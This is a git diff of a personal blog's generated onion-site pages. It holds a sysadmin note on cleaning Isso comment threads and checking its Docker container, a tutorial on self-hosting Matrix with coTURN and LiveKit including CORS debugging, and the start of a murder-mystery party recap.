    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/comments/page/1/index.html b/public-onion/tags/comments/page/1/index.html new file mode 100644 index 0000000..75a501b --- /dev/null +++ b/public-onion/tags/comments/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/comments/ + + + + + + diff --git a/public-onion/tags/coturn/index.html b/public-onion/tags/coturn/index.html new file mode 100644 index 0000000..1695ead --- /dev/null +++ b/public-onion/tags/coturn/index.html @@ -0,0 +1,357 @@ + + + + + + + +Coturn | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/coturn/index.xml b/public-onion/tags/coturn/index.xml new file mode 100644 index 0000000..2ddaab7 --- /dev/null +++ b/public-onion/tags/coturn/index.xml @@ -0,0 +1,370 @@ + + + + Coturn on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/ + Recent content in Coturn on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 26 Aug 2025 00:00:00 +0000 + + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/coturn/page/1/index.html b/public-onion/tags/coturn/page/1/index.html new file mode 100644 index 0000000..171bb60 --- /dev/null +++ b/public-onion/tags/coturn/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/ + + + + + + diff --git a/public-onion/tags/crime-fiction/index.html b/public-onion/tags/crime-fiction/index.html new file mode 100644 index 0000000..b9a220c --- /dev/null +++ b/public-onion/tags/crime-fiction/index.html @@ -0,0 +1,352 @@ + + + + + + + +Crime Fiction | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    La Plaza: The Falcones & the Morettis +

    +
    +
    +

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    +
    +
    October 25, 2025 · 13 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/crime-fiction/index.xml b/public-onion/tags/crime-fiction/index.xml new file mode 100644 index 0000000..1614fae --- /dev/null +++ b/public-onion/tags/crime-fiction/index.xml @@ -0,0 +1,220 @@ + + + + Crime Fiction on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/crime-fiction/ + Recent content in Crime Fiction on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 25 Oct 2025 07:52:53 +0000 + + + La Plaza: The Falcones & the Morettis + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war. + Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

